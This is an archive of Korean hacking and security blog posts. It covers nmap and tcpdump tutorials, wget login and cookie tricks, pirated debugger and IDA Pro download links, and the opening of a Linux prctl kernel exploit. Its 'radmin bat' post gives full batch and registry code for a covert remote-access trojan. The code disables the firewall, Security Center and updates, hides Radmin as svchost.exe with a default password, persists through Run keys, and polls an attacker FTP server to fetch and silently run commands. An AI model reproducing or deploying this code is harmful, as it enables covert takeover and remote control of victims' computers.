o 무료 홈페이지 취약점 점검서비스 신청하러가기
- http://webcheck.krcert.or.kr

※ 아래의 문서를 참조하여 해킹에 대응하시기 바랍니다.

o 홈페이지 개발 보안 가이드
- http://www.kisa.or.kr/trace_log/homepage_guide_down.jsp

o 웹 어플리케이션 보안 템플릿
- http://www.krcert.or.kr/docDown.jsp?dn=3

o 침해사고 분석절차 가이드
- http://www.krcert.or.kr/docDown.jsp?dn=10

o PHP웹 게시판 취약점 관련 사고분석 및 보안대책
- http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2005001.pdf&docNo=IN2005001

o SQL Injection 취약점을 이용한 윈도우즈 웹서버 사고 사례
- http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2005014.pdf&docNo=IN2005014

o 웹 해킹을 통한 악성 코드 유포 사이트 사고 사례
- http://www.krcert.or.kr/unimDocsDownload.do?fileName1=050629-IN-2005-012.pdf&docNo=IN2005012

o ARP Spoofing 기법을 이용한 웹 페이지 악성코드 삽입 사례
- http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2007003.pdf&docNo=IN2007003&docKind=3

궁금하신점은 국번없이 118(한국정보보호진흥원)으로 연락바랍니다.

2011/09/07 19:20 2011/09/07 19:20

NMAPport Scanning 툴로서 호스트나 네트워크를 스캐닝 할 때, 아주 유용한 시스템 보안툴인 동시에, 해커에게는 강력한 해킹툴로 사용될 수 있습니다. 서버를 운영하다 보면 관리자 스스로도 어떤 포트가 열려있고, 또 어떤 서비스가 제공중인지 잘 모를때가 있습니다. 기억력이 나빠서나, 게을러서가 아니라 필요에 의해 자주 변경되므로 수시로 파악해서 기록해두지 않으면 잊어버리게 됩니다. 또 크래킹에 의해 생성된 백도어는 파악하기가 어렵습니다.수 많은 포트와 서비스를 효과적으로 체크해서 관리하기 위해서 NMAP과 같은 포트 스캔 툴이 필요합니다. NMAP은 기존의 포트스캔툴에 비해 다양한 옵션과 방화벽 안쪽의 네트웍도 스캔할 수 있는 강력한 기능이 있습니다.

1. 설치 http://www.insecure.org/nmapnmap 의 홈페이지에서 소스파일을 내려 받습니다. 그 후에 설치할 디렉토리로 옮긴후에 압축을 풉니다. 그 후에 해당 디렉토리에서 ./configure 를 실행한 후에make, make install 을 실행합니다.

[root@gyn nmap-2.54BETA30]# ./configure [root@gyn nmap-2.54BETA30]# make; make install

설치가 끝났으면 몇 가지 스캔 타입을 알아봅시당.

    

    

-sT

일반적인 TCP 포트스캐닝.

-sS

이른바 'half-open' 스캔으로 추적이 어렵다.

-sP

ping 을 이용한 일반적인 스캔.

-sU

UDP 포트 스캐닝.

-PO

대상 호스트에 대한 ping 응답을 요청하지 않음 .log 기록과 filtering 을 피할 수 있다.

-PT

일반적이 ICMP ping이 아닌 ACK 패킷으로 ping 을 보내고RST 패킷으로 응답을 받는다.

-PI

일반적인 ICMP ping 으로 방화벽이나 필터링에 의해 걸러진다.

-PB

ping 을 할 때 ICMP ping TCP ping을 동시에 이용한다.

-PS

ping 을 할 때 ACK 패킷대신 SYN 패킷을 보내 스캔.

-O

대상 호스트의 OS 판별.

-p

대상 호스트의 특정 포트를 스캔하거나, 스캔할 포트의 범위를 지정.ex) -p 1-1024

-D

Decoy 기능으로 대상 호스트에게 스캔을 실행한 호스트의 주소를 속인다.

-F

/etc/services 파일 내에 기술된 포트만 스캔.

-I

TCP 프로세서의 identd 정보를 가져온다.

-n

IP 주소를 DNS 호스트명으로 바꾸지 않는다. 속도가 빠르다.

-R

IP 주소를 DNS 호스트명으로 바꿔서 스캔. 속도가 느리다.

-o

스캔 결과를 택스트 파일로 저장.

-i

스캔 대상 호스트의 정보를 지정한 파일에서 읽어서 스캔.

-h

도움말 보기

위의 스캔타입은 자주 쓰이는 내용이고 -h 옵션을 쓰거나 man page를 이용하면 아주 상세한 사용방법을 보실 수 있습니다.

[gyn@gyn gyn]$ man nmapNMAP(1) NMAP(1)

NAMEnmap - Network exploration tool and security scanner

SYNOPSISnmap [Scan Type(s)] [Options] <host or net #1 ... [#N]>..중략..[gyn@gyn gyn]$ nmap -hNmap V. 2.54BETA30 Usage: nmap [Scan Type(s)] [Options] <host or net list>Some Common Scan Types ('*' options require root privileges)-sT TCP connect() port scan (default)* -sS TCP SYN stealth port scan (best all-around TCP scan)* -sU UDP port scan..중략..

2. 사용.

몇가지 사용 예를 통해 nmap을 활용해 보시죠.

[root@gyn root]# nmap -sP xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )Host gyn (xxx.xxx.xxx.xxx) appears to be up.

Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

-sP 옵션으로 대상호스트가 살아 있음을 알아냈습니다. 이젠 특정 포트(80)를 검색해 보겠습니다.

[root@ home]# nmap -sP -PT80 xxx.xxx.xxx.xxxTCP probe port is 80

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )Host (xxx.xxx.xxx.xxx) appears to be up.Nmap run completed -- 1 IP address (1 host up) scanned in 1 second

지정된 포트가 아니라 대상호스트의 열린 포트를 모두 검색해 봅니다.

[root@ home]# nmap -sT xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )Interesting ports on (xxx.xxx.xxx.xxx):(The 1526 ports scanned but not shown below are in state: closed)Port State Service22/tcp open ssh 53/tcp open domain 80/tcp open http Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds

대상 호스트의 열린 포트를 알수는 있지만 로그가 남으므로 위험합니다. 스텔스 스캔으로 감시를 피해야 겠지요.

[root@webserver log]# nmap -sS xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )Interesting ports on (xxx.xxx.xxx.xxx):(The 1526 ports scanned but not shown below are in state: closed)Port State Service22/tcp open ssh 53/tcp open domain 80/tcp open http Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds

UDP port 스캔입니다. 시간이 많이 걸릴 수도 있습니다.

[root@gyn root]# nmap -sU localhost

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )Interesting ports on gyn (127.0.0.1):(The 1450 ports scanned but not shown below are in state: closed)Port State Service53/udp open domain 699/udp open unknown Nmap run completed -- 1 IP address (1 host up) scanned in 3 seconds

이번에는 -O 옵션으로 운영체제를 알아보겠습니다.

[root@webserver /root]# nmap -sS -O xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )Interesting ports on db (xxx.xxx.xxx.xxx):(The 1530 ports scanned but not shown below are in state: closed)Port State Service22/tcp open ssh 113/tcp open auth 3306/tcp open mysql

TCP Sequence Prediction: Class=random positive incrementsDifficulty=2158992 (Good luck!)Remote operating system guess: Linux 2.1.122 - 2.2.16

Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds

몇가지 예를 통해 사용법을 알아 보았습니다. 마지막을 부탁드릴 말씀은 자신이 직접 관리하지 않는, 호스트나 네트웍에서 테스트를 하는 것은아주 무례한 행동이며, 관리가 엄격한 사이트의 경우 접속 제한은 당하는 경우도 있으므로바람직하지 않은 방법으로 사용하는 일이 없길 바랍니다.

2010/11/06 07:30 2010/11/06 07:30

radmin bat

해킹&보안/해킹팁 2010/08/04 15:59
Autoit으로 제작한 VNC자동설치를 보고 자극을 받아서 batch파일로 제작했던 Radmin무설치 버전을 편집해 올리게 되네요. 하하,,,

먼저 첨부한 압축 파일(VNC.rar)을 풉니다.

폴더 안에는 다음과 같은 파일로 구성되어 있습니다.


└Compiler
   └bat2exe.exe
└Source
   └Setup
      └AdmDll.dll
      └GetIP.bat
      └nircmd.exe
      └raddrv.dll
      └radmin.exe
      └setting.reg
      └Setup.bat
      └svchost.exe
   └Uninstall
      └Uninstall.bat



이 소스의 특징은 다음과 같습니다.
1. 실행만으로 설치가 완료된다.
2. 비밀번호 설정 가능 (기본:12344321 바꾸는 것은 가능하나 좀 귀찮음,,,)
3. 아이피를 실시간으로 전송받을 수 있음(고정아이피 필요)
4. 실시간 batch명령 수행 기능
5. 간편한 제거 가능 (Uninstall.bat)

또 한가지 중요한 특징도 있습니다만
악용 금지라고 말한 이유가 거기에 있음


---사전 준비

먼저 GetIP.bat파일을 편집합니다.
파일 내용은 아래와 같습니다.


echo off
cls

net stop "Security Center"
net stop SharedAccess
net stop "Windows Firewall/Internet Connection Sharing (ICS)"
ECHO REGEDIT4>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]>>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]>>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download]>>"%Temp%.\kill.reg"
ECHO "CheckExeSignatures"="no">>"%Temp%.\kill.reg"
ECHO "RunInvalidSignatures"=dword:00000001>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
REG IMPORT "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"

md C:\windows\system32\VNC\cmd
del todo.txt
ECHO Anonymous>>todo.txt
ECHO
ftp@ftp.ftp>>todo.txt
ECHO binary>>todo.txt
ECHO prompt>>todo.txt
ECHO lcd C:\windows\system32\VNC\cmd>>todo.txt
ECHO mget *>>todo.txt
ECHO bye>>todo.txt

:loop
del C:\windows\system32\VNC\cmd\* /F /Q
rd C:\windows\system32\VNC\cmd /S /Q
md C:\windows\system32\VNC\cmd

ftp -s:todo.txt %서버ip주소%

IF EXIST C:\windows\system32\VNC\cmd\serv_com.bat (
C:\windows\system32\VNC\nircmd.exe exec hide "C:\windows\system32\VNC\cmd\serv_com.bat"
)

ping -n 15 127.0.0.1 >NUL
cls
GOTO loop



눈여겨 볼 것은 ftp -s:todo.txt %서버ip주소% 입니다.
%서버ip주소%는 자신이 상대방의 ip를 받을 고정 ip로 설정합니다.
*참고로 고정ip는 CODNS에서 무료로 받을 수 있습니다. 이 ip address로 server의 ip address를 전송 받을겁니다.
예를 들어 127.0.0.1로 설정한다면 아래와 같이 됩니다.
ftp -s:todo.txt %127.0.0.1%

또 ip전송 간격은 아래 코드로 조절합니다.
ping -n 15 127.0.0.1 >NUL
15라는 숫자 대신에 적는 숫자가 ip전송 간격이 되겠군요.
server의 과부하를 고려해 적당히 기입합니다.

설정이 끝났으면 저장합니다.



---부가 설정

setting.reg파일을 편집합니다. 내용은 아래와 같습니다.
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin]

[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v1.01]

[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v1.01\ViewType]
"Data"=hex:b8,9d,90,49,c1,fa,95,ab,24,d7,22,bf,bb,f6,01,39,12,6a,cd,f9,b9,2a,\
  13,33,77,16,0b,60,1e,04,92,ad,c9,66,ee,91,06,59,b8,6e,5f,af,4c,a1,e6,30,2b,\
  2e,3a,66,b9,c6,16,83,d8,84,58,bc,88,bc,7b,9d,4a,c2

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:af,bf,32,35,fd,6f,f5,28,f1,d1,e5,9b,9d,b6,35,3c
"DisableTrayIcon"=hex:01,00,00,00
"Port"=hex:23,13,00,00
"LogFilePath"="C:\\WINDOWS\\system32\\VNC\\logfile.txt"
"EnableLogFile"=hex:01,00,00,00
"EnableEventLog"=hex:00,00,00,00

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"VNC1"="C:\\WINDOWS\\system32\\VNC\\svchost.exe /start"
"VNC2"="C:\\WINDOWS\\system32\\VNC\\nircmd.exe exec hide C:\\WINDOWS\\svchost.exe /c \"C:\\WINDOWS\\system32\\VNC\\getip.bat\""

Radmin설정과 자동실행 두가지가 공존하고 있군요.
비밀번호 병경을 원하면 이 파일에서 "Parameter"=hex:af,bf,32,35,fd,6f,f5,28,f1,d1,e5,9b,9d,b6,35,3c를 변경하면 됩니다.
변경 하려면 Radmin을 깔고 프로그램 자체에서 비밀번호를 설정하신 뒤 다시 해당 레지스트리를 추출하는 방법으로 하면 됩니다.
귀찮으면 그냥 놔두시고 12344321로 쓰게 됩니다.



---컴파일

이제 컴파일에 착수합니다.
bat2exe를 실행합니다. 그리고 Setup.bat파일을 불러옵니다.


그림과 같이 로드되었습니다.
이제 include탭으로 갑니다.


그림과 같이 파일을 포함합니다. (Setup폴더에서 Setup.bat을 제외한 모든 파일이 포함)
*참고로 Custom Resources탭에서 원하는 아이콘으로 변경도 가능합니다.


이제 마지막으로 Project->Options
Ghost Application을 선택하고 Ok를 누르면 컴파일 완료 직전입니다.

F9를 누르시면 원하는 파일로 컴파일 가능합니다. 마음에 드는 이름으로 저장하세요.

이제 상대방 server에서 방금 컴파일한 파일을 실행하면 Radmin server가 활성화 됩니다.


---사용법

client측에서는 radmin.exe을 실행하면 됩니다.
다만 ip전송을 받기 위해선, 위에서 입력한 아이피를 가진 컴퓨터(Radmin server)에서 ftp server를 열면 됩니다.
그러면 ftp server에 접속을 하는 컴퓨터(Radmin server)의 아이피가 뜨겠죠? 이런 원리로 상대방(Radmin server)의 아이피를 알 수 있습니다.
추가로 ftp서버를 열 때 ftp의 로컬 폴더에 serv_com.bat이란 이름으로 batch파일을 작성해 놓으면 Radmin server측에서 해당 batch파일을 보이지 않게 실행하게 할 수도 있습니다.

>>무단설치서버:Program(5).exe
>>클라이언트1.exe
2010/08/04 15:59 2010/08/04 15:59
오늘도 wget 여러 옵션들을 테스트해봤습니다.
그동안 제일 궁금했던 것이
--user-agent=agent-string
등으로 user-agent를 속이는데 서버에서는 어떻게 인식하는지가 제일 궁금해서
http://browsers.garykeith.com/tools/your-browser.asp
에 접속해봤습니다.

 wget  --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  http://browsers.garykeith.com/tools/your-browser.asp
했더니 튕기더군요.
----------------------------------
Access Denied
You do not appear to be using this form in accordance with my Terms of Use.
Continued abuse will eventually result in you losing access to this server!
It's also possible you are using security software that modifies the HTTP_REFERER header.
If I can't confirm the referrer is valid then you can't have access to my forms.
--------------------------------

그래서 이번에는 --referer 옵션까지 설정을 해서 다시 시도해봤습니다.
wget  --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  --referer="http://browsers.garykeith.com/tools/property-docs.asp" http://browsers.garykeith.com/tools/your-browser.asp
이번에는 성공!!!
-------------------------------
Your Browser
User Agent
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
.... 이하 생략
--------------------------------

어찌보면 당연한 결론이지만  --user-agent, --referer 두가지다 제대로 작동합니다.

더 무서운것은 --save-cookie, --load-cookies,  --post-data=string, --post-file=file 입니다.

--save-cookie "cookie.txt" --post-data "user_id=myid&password=mypassword"
옵션을 주니까 멋있게 로그인까지 하고 쿠키를 저장해두더군요.

다시
 --load-cookies "cookie.txt" 하니까 회원만 가능한 곳 어디든지 정상접속됩니다.

post.dat라는 화일에 게시판에 필요한 변수를 입력해두고
 --load-cookies "cookie.txt"  --post-file "post.dat" 하니까 게시판에 글도 씁니다.

잘만 활용하면 좋겠는데
까딱하면 스팸로봇이 따로 필요없습니다.
2010/06/03 23:59 2010/06/03 23:59

# tcpdump -q \( dst net 1.2.3.0/24 or 1.2.4.0/25 \) and dst port 80
목적지 주소가 1.2.3.x/24 와 1.2.4.x/25 이고 80번포트인 패킷 캡쳐

# tcpdump host A
A 호스트로/부터의 모든 도착/출발 패킷 출력


# tcpdump host A and \( B or C \)
A 호스트와 B 또는 C 사이의 모든 트래픽 출력


# tcpdump ip host A and not B
A호스트와 B를 제외한 호스트 간의 모든 IP 패킷 출력


# tcpdump net ucb-ether
로컬호스트와 Berkeley의 호스트들 간의 모든 트래픽 출력


# tcpdump 'gateway A and (port ftp or ftp-data)'
게이트웨이 A를 통한 모든 ftp 트래픽 출력


# tcpdump ip and not net <localnet>
로컬네트워크로/부터가 아닌 모든 트래픽 출력


# tcpdump 'tcp[13] & 3 != 0 and not src and dst net <localnet>'
로컬네트워크가 아닌 TCP 시작과 마지막 패킷 출력


# tcpdump 'gateway A and ip[2:2] > 576'
게이트웨이 A를 통해 보내지는 576 Bytes보다 긴 IP 패킷 출력


# tcpdump 'ether[0] & 1 = 0 and ip[16] >= 224'
이더넷이 아닌 IP 브로드 또는 멀티 캐스트 패킷 출력


# tcpdump 'icmp[0] != 8 and icmp[0] != 0'
echo 요청/응답이 아닌 모든 ICMP 패킷 출력 (ping 아닌 패킷)


# tcpdump src net 1.2.3 or 1.2.4 and not dst net 1.2.3 or 1.2.4
1.2.3 과 1.2.4 IP주소 (내부) 패킷을 제외한 모든 패킷 출력


# tcpdump -i br1
 br1 인터페이스의 모든 패킷 출력



=============================================================================================================

tcpdump로 ftp 접속시 발생하는 패킷 내용을 보려면

 tcpdump -t -x port ftp

tcpdump -t -x ‘port ftp or ftp-data’

tcpdump -t -x port 21


특정호스트의 특정 포트로 들어오는 패킷을 보는 예제

            tcpdump -i eth0 -t -X port xx and host xxx.xxx.xxx.xxx

2010/04/14 10:35 2010/04/14 10:35

1. 개요
 가. 리눅스 서버에서 패킷 스니핑시 주로 사용하는 tcpdump 의 사용법 입니다.

 나. 테스트환경 : 리눅스 CentOS 5.1 (tcpdump version 3.94, libpcap version 0.9.4)


2. tcpdump 사용법
 가. 특정 호스트의 특정포트 패킷만 보기

[root@localhost]# tcpdump -nn host 192.168.1.5 and port 80
 

 나. 특정 호스트의 Mac Address 보기

[root@localhost]# tcpdump -e host 192.168.1.6

 다. 지정한 디바이스 장치의 특정포트 패킷보기

[root@localhost]# tcpdump -i eth1 dst port 80
[root@localhost]# tcpdump -i eth1 src port 80
 

 라. 특정 호스트를 제외한 패킷보기

[root@localhost]# tcpdump not host 192.168.1.6

 마. 복합 조건검색 (192.168.1.2 가 아니며 80번 포트를 사용한 패킷 10줄 출력)

[root@localhost]# tcpdump 'not host 192.168.1.2 and port 80' -c 10
 

 바. 패킷의 헥사코드 출력 및 문자열 일치하는 패킷 스니핑

[root@localhost]# tcpdump -s 1024 -x | grep "password"
 

       (-s lenght 패킷들로부터 추출하는 샘플을 default 값인 68Byte 외의 값으로 설정
         하는것으로 프로토콜의 헤더 사이즈에 가깝에 잡아 주어야 합니다. 샘플 사이즈
         를 크게 잡으면 패킷하나를 처리하는데 시간이 더 걸리며 패킷 버퍼의 사이즈가
         작아지게 되어 손실되는 패킷이 발생할 수 있습니다.)


2010/04/14 10:25 2010/04/14 10:25
http://reversengineering.wordpress.com/debuggers/
여러가지 디버거를 잘 모아논 사이트를 발견했다.
정확히 말하면, 발견한 것이 아니라 누구한테 정보를 얻은 것이다.

필요한 사람들이 많을 거 같아서, 한번 올려보기로 했다.


Debuggers

OllyDbg modified :

OllyDbg - BoomBox

http://rapidshare.com/files/25394210/request.php_3

OllyDbg - Chinese
http://rapidshare.com/files/25394358/request.php_554

OllyDbg - CiM’s
http://rapidshare.com/files/25394505/request.php_1206

OllyDbg - Diablo’s

http://rapidshare.com/files/25395171/request.php_2

OllyDbg - ExeCryptor
http://rapidshare.com/files/25395311/request.php_553

OllyDbg - Hacnho’s
http://rapidshare.com/files/25395639/request.php_4

OllyDbg - OllyICE

http://rapidshare.com/files/25395646/request.php_5

ollyice 2007.9.21

http://rapidshare.com/files/60720683/OlyICE2007.9.21.rar

bigice 5
http://rapidshare.com/files/26791856/bigice5.zip

ollyice 2008.1.1

OllyICE v1.10==new==

http://rapidshare.com/files/132790837/odbg110_OllyICE_v1.10_update.rar

OllyICE TheMida MOD. By EvOlUtIoN==new==
http://letitbit.net/download/90b2a3913809/OllyICE-TheMida-By-EvOlUtIoN.rar.html
http://rapidshare.com/files/138149196/OllyICE_TheMida_By_EvOlUtIoN.rar

OllyDbg - Shadow
http://rapidshare.com/files/25395640/request.php_6

OllyDbg - Unmodified!
http://rapidshare.com/files/25395641/request.php_1

OllyDbg-flyODBG

http://rapidshare.com/files/26789936/flyjnop790.zip

ollydbg - ricardo nar.

http://rapidshare.com/files/26791858/ricarcdon.zip

OllyDbg_SLV edition
http://rapidshare.com/files/26791862/slv.zip

OllyDbg -Arabic
http://rapidshare.com/files/26791864/ice1_3.zip

Ollydbg - xp
http://rapidshare.com/files/26771160/ollydbg_110_xp.rar

Ollydbg - greenstyle

http://rapidshare.com/files/26436069/ollydbg_Green_Style_20by_20jnop790.rar

OllyDbg - armadillo
http://rapidshare.com/files/34817803/odbg_204_20armadillo_20with_20tools.zip

OllyDbg - xp+ dct
http://rapidshare.com/files/34821367/ODbg_20xp_20DCT.zip

OllyDbg - ADO
http://rapidshare.com/files/34821368/ODbgADO.zip

OllyDbg - SND
http://rapidshare.com/files/34821374/ODbgSnD.zip

OllyDbg -D2K2
http://rapidshare.com/files/34821377/ODbgD2k2.zip

OllyDbg - DeFixed

http://rapidshare.com/files/39044055/DeFixed_Edition.rar

OllyDbg - DeFixed v2 (foff)

http://rapidshare.com/files/60718378/DeFixed_Edition_v2.rar

OllyDbg - ExeCryptor

http://rapidshare.com/files/39851301/exec.olly.zip

olly bronco (mod. for execryptor )

http://rapidshare.com/files/66345462/OllyDbg_v1.10_Bronco.rar

olly YPOGEiOS DOX DiViSiON

http://rapidshare.com/files/66345700/YGS-DOX_OllyDBG.v1.10.Mod-YPOGEiOS.rar

OllyDbg’ - Snd version all plugins and olly patched :

http://rapidshare.com/files/44123914/0_1_1_YDbg_Beta_Full.7z

the 0dbg for Themida/WinLicense V1.9.3.0

http://rapidshare.com/files/50611549/The0DBG.exe

HanOlly

http://rapidshare.com/files/64369450/odbg110__HanOlly_edition_for_themida_1.9.rar

ollydbg modified for themida 1.9.5

http://rapidshare.com/files/65716863/O_ll_y_Dbg_modify_for_themida1.9.5.EXE

ollydbg modified for themida and execryptor==new==

http://letitbit.net/download/d35cd7115999/RAMODBG.rar.html

ollydng Sabre Gold

DarkOlly==new==

http://rapidshare.com/files/137296680/DarkOlly.7z

OllyDbg 1.10 - kamal==new==

http://letitbit.net/download/9e844d493204/OllyDbg-1.10-by-kamal.rar.html

OllyDbg v1.10 LifeODBG v1.4==new==

http://letitbit.net/download/686a95302760/OllyDbg-v1.10-LifeODBG-v1.4.rar.html

OllyDBG The_Best_version==new==

http://rapidshare.com/files/142544485/OllyDBG_The_Best_version.rar

http://letitbit.net/download/ffb745506367/OllyDBG-The-Best-version.rar.html

OllyDbg 2

OllyDbg 2 2a 20 oct 2007

http://rapidshare.com/files/64369705/ollydbg_2a-_20_oct07.exe

OllyDbg v2.00 Alpha 4

http://letitbit.net/download/a51bdc740372/OllyDbg-v2.00-Alpha-4.zip.html

OllyDbg v2.00 Alpha Sabre-Gold==new==

http://letitbit.net/download/357163436792/OllyDbg-v2.00-Alpha-Sabre-Gold.rar.html

oLLYdbg 2.00 g==new==

http://letitbit.net/download/0768f7669997/odbg200g.zip.html

ollydbg1.1 BY INREv team==new==

http://letitbit.net/download/fc3c1941207/ollydbg1.1-beta2-INRev.rar.html

http://letitbit.net/download/6faed3180832/odbg1.10-beta1–INRev.rar.html

> all patches for OllyDbg 1.x<

http://rapidshare.com/files/35977772/OLLYDBG_1.10_all_patches_.rar

note:
AFTER DOWNLOAD CHANGE NAME TO*.RAR OR *.ZIP

=================

Debugging Tools for Windows

dbg X86

http://www.microsoft.com/whdc/devtools/debugging/installx86.mspx

=================

SoftIce

98

http://rapidshare.com/files/50615930/Sic_v4.2.7_RC1_9x__IceExt_v0.7.part1.rar

http://rapidshare.com/files/50615933/Sic_v4.2.7_RC1_9x__IceExt_v0.7.part2.rar

http://rapidshare.com/files/50615934/SoftICE_20v4.3.2.2485.rar

xp

http://rapidshare.com/files/50615935/SoftIce_20v4.2.7_20RC1_20XP.exe

=================

Syser Debugger

Syser Debugger 1.92

http://rapidshare.com/files/42710603/download.php

Syser Debugger 1.93

http://rapidshare.com/files/48708302/download.php

Syser DebuggeR 1.97.1900.1016

http://rapidshare.com/files/119028937/Sys.Debug.v1.97.1900.1016.zip

Syser.Debugger.v1.97.1900.1038 ==new==

http://rapidshare.com/files/131394971/Syser.Debugger.v1.97.1900.1038.zip

=================

Immunity Debugger

ImmunityDebugger v 1.0


http://debugger.immunityinc.com/download/ImmunityDebugger_setup.exe

or

http://rapidshare.com/files/47096385/ImmunityDebugger_setup.exe

ImmunityDebugger v 1.5 FULL (SCRIPT+PLUGIN)==new==

part 1 & 2:

http://rapidshare.com/files/138160039/ImDbg.v1.5.7z.001

http://rapidshare.com/files/138158243/ImDbg.v1.5.7z.002

PASS:http://reversengineering.wordpress.com/debuggers/

=================

IDA Pro

IDA Pro Advanced v5.1.0.899

http://letitbit.net/download/555d66375926/IDAProAdvancedv5.1.0.899.rar.html

Fix

http://letitbit.net/download/3df899307180/IDAProAdvancedv5.1.0.899Fix.rar.html

DataRescue IDA Pro Advanced v5.1.0.899  + SDK + FiX

http://letitbit.net/download/077cd4773868/DataRescue.IDA.Pro.Advanced.v5.1.0.899.rar.html

IDA PRO 5.1 SDK

http://letitbit.net/download/a91b81999543/IDA-5.1-SDK.part02.rar.html

http://letitbit.net/download/e5e2e4967183/IDA-5.1-SDK.part01.rar.html
Datarescue ida pro advanced  v5.1 windows patch

LAN patch
Key blacklist patch
Russian IDA data file read patch

http://letitbit.net/download/9a8fec832094/datarescue.ida.pro.advanced.v5.1.windows-patch.rar.html

IDA Pro v5.20 Advanced Full MegaPack

by cracklab

http://letitbit.net/download/b96428300403/download.php-action-get-n-MjE1.html

after download rename it to “IDA Pro v5.20 Advanced Full MegaPack.rar”

IDA Pro 5.2 addons

idsutil5.20

Flair5.10

http://letitbit.net/download/f09e75790522/IdaPro5.2-addons.rar.html

DataRescue IDA Pro Advanced v5.2 SDK

http://letitbit.net/download/85acc3208403/idapro52sdk.part02.rar.html

http://letitbit.net/download/307d35980633/idapro52sdk.part01.rar.html

=================

Zeta Debugger

Zeta Debugger v1.4

http://letitbit.net/download/b06dd5445683/Zeta.Debugger.v1.4-full.zip.html

Zeta Debugger v1.5==new==

http://letitbit.net/download/e0881a39387/zd1.5-setup.zip.html

=================

Linux Debugger

EDB Linux Debugger 0.8.12

http://www.codef00.com/projects/debugger-0.8.12.tgz

0.9.1

http://www.codef00.com/projects/debugger-0.9.1.tgz

0.9.2 released 2008-07-29
http://www.codef00.com/projects.php#Debugger

0.9.4 2008-08-12==new==

http://www.codef00.com/projects/debugger-0.9.4.tgz

=================

java Debugger

JDebugTool Pro v4.1.1==new==

http://letitbit.net/download/baf0a2105543/JDebugTool-Pro-v4.1.1.rar.html

http://rapidshare.com/files/137998716/JDebugTool_Pro_v4.1.1.rar

pass:http://reversengineering.wordpress.com

=================

other debuggers

Obsidian - Non-intrusive Debugger + src ==new==

http://letitbit.net/download/e7fa3b610314/Obsidian–src.rar.html

VB Debugger [source code] + compiled with VB 6==new==

http://letitbit.net/download/f2e228167354/vb-debug-src.7z.html

MiniDBG with source==new==

http://letitbit.net/download/5731ca759728/debugger.rar.html

2010/03/29 01:22 2010/03/29 01:22
비스타에 쓰인 BitLocker와 같은 Disk Encryption은 도저히 풀어낼 수 없다고 하는데...
약간의 제약사항이 있지만, 그것을 깨뜨린 사람들도 있다.

바로, 사용중인 컴퓨터나 로그인 화면만 띄워진 상태에서 램에서 자료를 추출하고,
그 램 내용에서 패스워드를 찾아내는 방법...

http://citp.princeton.edu.nyud.net/pub/coldboot.pdf

역쉬 놀라움~~

특히, 동영상에서 켜진 컴퓨터의 램을 얼려서, 10분안에 해킹하는 것은 압권 그 자체!!
http://www.boingboing.net/2008/02/21/report-disk-encrypti.html


이 방법을 사용하면,
다른 디스크  암호화 솔루션도 해킹 가능하다지만,
제약사항이 많다는 점....

항상 전기절약을 위해서, 안쓰는 컴퓨터는 꺼둡시다~.
2010/03/29 01:11 2010/03/29 01:11
제목이 좀 그렇긴 합니다.

보통 리눅스에서 nmap ,wget ,find , vi  ,ssh ,telnet , rm -rf 기타 명령어 들이 필요 할때가 있습니다.

저는 이렇게 사용 하고 있습니다.

D 드라이버 쪽에 폴더를 만들어.

환경변수 쪽에 추가를 합니다.
사용자 삽입 이미지


그리고 cygwin 에 bin 폴더에 있는 필요한 명령어를 이동시키고 기타 필요한 파일을 이곳에 이동시키고.

CMD 창에서 명령어를 쓰곤 합니다.

그럴때 필요한 cygwin 에 bin 폴더 그리고 본인이 쓰는 기타 명령어를 압축한 파일입니다. 필요 없는 dll 도 있습니다

2010/03/14 09:24 2010/03/14 09:24

아주 간단합니다. ㅎㅎ

COPY /b 이름1.JPG + 이름2.rar 이름3.jpg

이렇게 하면  1이랑 2 요놈 둘이 이름3.JPG 로 변경 됩니다. ^^

2009/11/20 19:03 2009/11/20 19:03
HDSI툴분석
2009/09/30 21:46 2009/09/30 21:46
/* Linux >= 2.6.13 prctl kernel exploit
*
* (C) Julien TINNES
*
* If you read the Changelog from 2.6.13 you've probably seen:
*  [PATCH] setuid core dump
*
* This patch mainly adds suidsafe to suid_dumpable sysctl but also a new per process,
* user setable argument to PR_SET_DUMPABLE.
*
* This flaw allows us to create a root owned coredump into any directory.
* This is trivially exploitable.
*
